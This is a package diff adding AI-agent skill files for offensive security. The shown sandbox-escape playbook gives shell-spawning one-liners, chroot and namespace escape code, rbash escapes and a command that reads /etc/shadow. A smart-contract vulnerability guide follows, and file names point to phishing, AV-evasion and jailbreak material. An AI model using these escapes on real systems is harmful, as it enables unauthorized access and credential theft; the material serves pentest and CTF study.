ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,250 @@
1
+ ---
2
+ name: sandbox-escape-techniques
3
+ description: >-
4
+ Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.gated: true
5
+ ---
6
+
7
+ # SKILL: Sandbox Escape — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [browser-exploitation-v8](../browser-exploitation-v8/SKILL.md) — V8 exploitation for renderer RCE before browser sandbox escape
14
+ - [container-escape-techniques](../container-escape-techniques/SKILL.md) — Docker/container specific escape techniques
15
+ - [kernel-exploitation](../kernel-exploitation/SKILL.md) — kernel exploit for container/namespace escape
16
+ - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — post-escape privilege escalation
17
+
18
+ ### Advanced References
19
+
20
+ - [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) — Full pyjail methodology: `__builtins__` recovery, keyword bypass, AST bypass, pickle escape
21
+ - [SECCOMP_BYPASS.md](./SECCOMP_BYPASS.md) — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining
22
+
23
+ ---
24
+
25
+ ## 1. SANDBOX TYPE IDENTIFICATION
26
+
27
+ | Sandbox Type | Indicators | Typical Context |
28
+ |---|---|---|
29
+ | Python sandbox (pyjail) | Limited builtins, filtered keywords, `exec`/`eval` available | CTF, online judges, Jupyter |
30
+ | Lua sandbox | No `os`, `io` modules; restricted metatables | Game scripting, config |
31
+ | seccomp | syscall filtering, `prctl(PR_SET_SECCOMP)` | CTF pwn, container hardening |
32
+ | chroot | Changed root filesystem, limited `/proc` access | Legacy isolation |
33
+ | Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
34
+ | Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
35
+ | Namespace isolation | PID/mount/network/user namespace | Container runtimes |
36
+
37
+ ---
38
+
39
+ ## 2. PYTHON SANDBOX ESCAPE (OVERVIEW)
40
+
41
+ See [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) for full methodology.
42
+
43
+ ### Quick Reference
44
+
45
+ | Technique | One-Liner |
46
+ |---|---|
47
+ | Subclass walk | `().__class__.__bases__[0].__subclasses__()` → find `os._wrap_close` → `__init__.__globals__['system']` |
48
+ | Import recovery | `__builtins__.__import__('os').system('sh')` |
49
+ | getattr bypass | `getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')` |
50
+ | chr construction | `eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))` |
51
+ | Pickle escape | `pickle.loads(b"cos\nsystem\n(S'sh'\ntR.")` |
52
+ | Code object | Construct `types.CodeType(...)` then `exec()` with custom bytecode |
53
+
54
+ ---
55
+
56
+ ## 3. LUA SANDBOX ESCAPE
57
+
58
+ ### Restricted Environment Bypass
59
+
60
+ ```lua
61
+ -- If debug library available:
62
+ debug.getinfo(1) -- information leakage
63
+ debug.getregistry() -- access global registry
64
+ debug.getupvalue(func, 1) -- read closed-over variables
65
+ debug.setupvalue(func, 1, new_val) -- overwrite upvalues
66
+
67
+ -- Recover os module via debug:
68
+ local getupvalue = debug.getupvalue
69
+ -- Walk upvalues of known functions to find references to os/io
70
+
71
+ -- If loadstring available:
72
+ loadstring("os.execute('sh')")()
73
+
74
+ -- If string.dump available:
75
+ -- Dump function bytecode, patch it, load modified function
76
+
77
+ -- Metatables escape:
78
+ -- If rawset/rawget blocked but __index/__newindex exists:
79
+ -- Forge metatable chain to access restricted globals
80
+ ```
81
+
82
+ ### Lua FFI Escape (LuaJIT)
83
+
84
+ ```lua
85
+ -- LuaJIT FFI provides C function access
86
+ local ffi = require("ffi")
87
+ ffi.cdef[[ int system(const char *command); ]]
88
+ ffi.C.system("sh")
89
+
90
+ -- If require is blocked but ffi is preloaded:
91
+ -- Find ffi via package.loaded or debug.getregistry
92
+ ```
93
+
94
+ ---
95
+
96
+ ## 4. CHROOT ESCAPE
97
+
98
+ | Technique | Condition | Method |
99
+ |---|---|---|
100
+ | Open fd to real root | File descriptor leaked from outside chroot | `fchdir(leaked_fd)` then `chroot(".")` |
101
+ | Double chroot | Process is root inside chroot | `mkdir("x"); chroot("x"); chdir("../../../..")` |
102
+ | TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via `ioctl(0, TIOCSTI, &c)` |
103
+ | /proc access | `/proc` mounted inside chroot | `/proc/1/root/` → access real root filesystem |
104
+ | ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
105
+ | Mount namespace | Privileged | Mount real root into chroot |
106
+
107
+ ### Double Chroot Escape
108
+
109
+ ```c
110
+ // Must be root inside chroot
111
+ mkdir("/tmp/escape", 0755);
112
+ chroot("/tmp/escape"); // new chroot inside old chroot
113
+ // Old CWD is now outside the new chroot
114
+ // Navigate up to real root:
115
+ for (int i = 0; i < 100; i++) chdir("..");
116
+ chroot("."); // now at real root
117
+ execl("/bin/sh", "sh", NULL);
118
+ ```
119
+
120
+ ---
121
+
122
+ ## 5. BROWSER SANDBOX ESCAPE (OVERVIEW)
123
+
124
+ ### Chrome Sandbox Architecture (Linux)
125
+
126
+ ```
127
+ Renderer Process:
128
+ ├── seccomp-bpf (syscall filter)
129
+ ├── PID namespace (isolated PIDs)
130
+ ├── Network namespace (no direct network)
131
+ ├── Mount namespace (minimal filesystem)
132
+ └── Reduced capabilities (no CAP_SYS_ADMIN etc.)
133
+ ```
134
+
135
+ ### Escape Vectors
136
+
137
+ | Vector | Description |
138
+ |---|---|
139
+ | Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
140
+ | Shared memory corruption | Corrupt shared memory segments between renderer and browser |
141
+ | GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
142
+ | Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
143
+ | Signal handling | Race condition in signal delivery across sandbox boundary |
144
+
145
+ ### Mojo Interface Attack Pattern
146
+
147
+ ```
148
+ 1. Renderer RCE achieved (via V8/Blink bug)
149
+ 2. Enumerate available Mojo interfaces from renderer
150
+ 3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
151
+ 4. Craft malicious Mojo message → trigger bug in browser process
152
+ 5. Browser process is unsandboxed → full system access
153
+ ```
154
+
155
+ ---
156
+
157
+ ## 6. NAMESPACE ESCAPE
158
+
159
+ ### User Namespace Escalation
160
+
161
+ ```bash
162
+ # If allowed to create user namespaces (unprivileged):
163
+ unshare -Urm # Create new user + mount namespace as root inside
164
+ # Inside namespace: can mount, modify, etc.
165
+ # Escape requires kernel bug or misconfiguration
166
+ ```
167
+
168
+ ### PID Namespace Escape
169
+
170
+ ```bash
171
+ # If /proc is from host (misconfigured container):
172
+ nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
173
+ # Enters init process namespaces → host access
174
+ ```
175
+
176
+ ### Mount Namespace Tricks
177
+
178
+ ```bash
179
+ # If can see host filesystem via /proc/1/root:
180
+ ls -la /proc/1/root/ # host root filesystem
181
+ cat /proc/1/root/etc/shadow # read host files
182
+
183
+ # If can mount:
184
+ mount -t proc proc /proc
185
+ # Access host /proc entries
186
+ ```
187
+
188
+ ---
189
+
190
+ ## 7. RBASH / RESTRICTED SHELL ESCAPE
191
+
192
+ | Technique | Method |
193
+ |---|---|
194
+ | vi/vim | `:!/bin/bash` or `:set shell=/bin/bash` then `:shell` |
195
+ | less/more | `!/bin/bash` |
196
+ | awk | `awk 'BEGIN {system("/bin/bash")}'` |
197
+ | find | `find / -exec /bin/bash \;` |
198
+ | python/perl/ruby | `python -c 'import pty;pty.spawn("/bin/bash")'` |
199
+ | ssh | `ssh user@host -t /bin/bash` |
200
+ | Environment | `export PATH=/usr/bin:/bin; /bin/bash` |
201
+ | cp | Copy `/bin/bash` to allowed directory |
202
+ | git | `git help config` → then `!/bin/bash` in pager |
203
+ | Encoding | `echo /bin/bash | base64 -d | sh` |
204
+
205
+ ---
206
+
207
+ ## 8. DECISION TREE
208
+
209
+ ```
210
+ What type of sandbox?
211
+ ├── Python sandbox (pyjail)?
212
+ │ └── See PYTHON_SANDBOX_ESCAPE.md
213
+ │ ├── __builtins__ available? → direct import
214
+ │ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
215
+ │ ├── Keywords filtered? → chr()/getattr() construction
216
+ │ └── eval/exec available? → code object manipulation
217
+
218
+ ├── Lua sandbox?
219
+ │ ├── debug library available? → getregistry/getupvalue
220
+ │ ├── FFI available (LuaJIT)? → ffi.C.system()
221
+ │ ├── loadstring available? → load arbitrary code
222
+ │ └── All restricted? → metatable chain exploitation
223
+
224
+ ├── seccomp filter?
225
+ │ └── See SECCOMP_BYPASS.md
226
+ │ ├── Architecture confusion (32-bit syscalls from 64-bit)
227
+ │ ├── Allowed syscalls → ORW chain
228
+ │ ├── io_uring allowed? → bypass via io_uring
229
+ │ └── ptrace allowed? → debug child process
230
+
231
+ ├── chroot jail?
232
+ │ ├── Root inside chroot? → double chroot escape
233
+ │ ├── Leaked fd? → fchdir to real root
234
+ │ ├── /proc mounted? → /proc/1/root access
235
+ │ └── Terminal access? → TIOCSTI injection
236
+
237
+ ├── Container / Docker?
238
+ │ ├── Privileged container? → mount host, load kernel module
239
+ │ ├── Mounted docker.sock? → docker API → escape
240
+ │ ├── See ../container-escape-techniques/SKILL.md
241
+ │ └── Kernel exploit → full escape
242
+
243
+ ├── Browser sandbox?
244
+ │ ├── Have renderer RCE? → target Mojo IPC for browser escape
245
+ │ ├── GPU process accessible? → less-sandboxed stepping stone
246
+ │ └── Kernel exploit → bypass sandbox entirely
247
+
248
+ └── Restricted shell (rbash)?
249
+ └── Find any interactive program (vi, less, python, awk, git)
250
+ ```
@@ -0,0 +1,314 @@
1
+ ---
2
+ name: smart-contract-vulnerabilities
3
+ description: >-
4
+ Smart contract vulnerability playbook. Use when auditing Solidity/EVM contracts for reentrancy, integer overflow, access control, delegatecall, flash loan, signature replay, and MEV-related attack patterns.gated: true
5
+ ---
6
+
7
+ # SKILL: Smart Contract Vulnerabilities — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert smart contract audit techniques. Covers reentrancy (single, cross-function, cross-contract, read-only), integer overflow, access control, delegatecall, randomness manipulation, flash loans, signature replay, front-running/MEV, and CREATE2 exploitation. Base models miss subtle cross-contract reentrancy and storage layout collisions in proxy patterns.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [defi-attack-patterns](../defi-attack-patterns/SKILL.md) when the vulnerability is part of a DeFi protocol exploit (flash loans, oracle manipulation, governance attacks)
14
+ - [deserialization-insecure](../deserialization-insecure/SKILL.md) when the target is off-chain infrastructure deserializing blockchain data
15
+
16
+ ### Advanced Reference
17
+
18
+ Also load [SOLIDITY_VULN_PATTERNS.md](./SOLIDITY_VULN_PATTERNS.md) when you need:
19
+ - Side-by-side vulnerable vs fixed code patterns for each vulnerability class
20
+ - Gas optimization traps that introduce vulnerabilities
21
+ - Proxy pattern storage collision examples with slot calculations
22
+
23
+ ---
24
+
25
+ ## 1. REENTRANCY
26
+
27
+ The most iconic smart contract vulnerability. External calls transfer execution control; if state is not updated before the call, the callee can re-enter.
28
+
29
+ ### 1.1 Classic Reentrancy (Single-Function)
30
+
31
+ ```
32
+ Victim.withdraw()
33
+ ├── checks balance[msg.sender] > 0 ✓
34
+ ├── msg.sender.call{value: balance}("") ← external call
35
+ │ └── Attacker.receive()
36
+ │ └── Victim.withdraw() ← re-enters before state update
37
+ │ ├── checks balance[msg.sender] ← still > 0!
38
+ │ └── sends ETH again
39
+ └── balance[msg.sender] = 0 ← too late
40
+ ```
41
+
42
+ ### 1.2 Cross-Function Reentrancy
43
+
44
+ Two functions share state; attacker re-enters a different function during callback:
45
+
46
+ | Step | Execution | State |
47
+ |---|---|---|
48
+ | 1 | Call `withdraw()` → external call | balance still positive |
49
+ | 2 | Attacker fallback calls `transfer(attacker2)` | balance used before reset |
50
+ | 3 | `transfer` reads stale balance → moves funds | attacker2 receives tokens |
51
+ | 4 | Original `withdraw` completes, zeroes balance | damage done |
52
+
53
+ ### 1.3 Cross-Contract Reentrancy
54
+
55
+ Contract A calls Contract B, which calls back into Contract A (or Contract C that reads A's stale state). Especially dangerous in DeFi protocols where multiple contracts share state.
56
+
57
+ ### 1.4 Read-Only Reentrancy
58
+
59
+ The re-entered function is a `view` function used by a third-party contract for price calculation. No state modification in the victim, but the stale intermediate state misleads the reader.
60
+
61
+ **Real-world**: Curve pool `get_virtual_price()` read during `remove_liquidity()` callback → inflated price → profit on dependent lending protocol.
62
+
63
+ ### Mitigations
64
+
65
+ | Pattern | Protection Level |
66
+ |---|---|
67
+ | Checks-Effects-Interactions (CEI) | Core defense; update state before external call |
68
+ | `ReentrancyGuard` (OpenZeppelin) | Mutex lock; prevents same-tx re-entry |
69
+ | Pull payment pattern | Eliminate external calls in state-changing functions |
70
+ | CEI + guard on all public functions | Defense-in-depth against cross-function |
71
+
72
+ ---
73
+
74
+ ## 2. INTEGER OVERFLOW / UNDERFLOW
75
+
76
+ ### Pre-Solidity 0.8
77
+
78
+ Arithmetic silently wraps: `uint8(255) + 1 == 0`, `uint8(0) - 1 == 255`.
79
+
80
+ | Attack | Example |
81
+ |---|---|
82
+ | Balance underflow | `balances[attacker] -= amount` when amount > balance → huge balance |
83
+ | Supply overflow | `totalSupply + mintAmount` wraps → bypass cap checks |
84
+ | Timelock bypass | `lockTime[msg.sender] + extend` wraps to past → early unlock |
85
+
86
+ ### Post-Solidity 0.8
87
+
88
+ Default checked arithmetic reverts on overflow. But `unchecked{}` blocks reintroduce risk:
89
+
90
+ ```solidity
91
+ unchecked {
92
+ // "gas optimization" — but if i can be influenced by user input, overflow returns
93
+ for (uint i = start; i < end; i++) { ... }
94
+ }
95
+ ```
96
+
97
+ ### SafeMath Bypass Scenarios
98
+
99
+ - Casting: `uint256` → `uint128` truncation before SafeMath check
100
+ - Assembly blocks: `mstore` / `add` bypass Solidity-level checks
101
+ - Intermediate multiplication overflow before division: `(a * b) / c` where `a * b` overflows
102
+
103
+ ---
104
+
105
+ ## 3. ACCESS CONTROL
106
+
107
+ ### tx.origin vs msg.sender
108
+
109
+ | Property | `msg.sender` | `tx.origin` |
110
+ |---|---|---|
111
+ | Value | Immediate caller | EOA that initiated the tx |
112
+ | Safe for auth | Yes | **No** — phishing contract can inherit tx.origin |
113
+
114
+ Attack: trick owner into calling attacker contract → attacker contract calls victim with owner's `tx.origin`.
115
+
116
+ ### Common Patterns
117
+
118
+ | Issue | Impact |
119
+ |---|---|
120
+ | Missing `onlyOwner` on critical functions | Anyone can call admin functions |
121
+ | Unprotected `selfdestruct` | Anyone can destroy the contract, force-send ETH |
122
+ | Unprotected `delegatecall` | Attacker executes arbitrary code in victim's context |
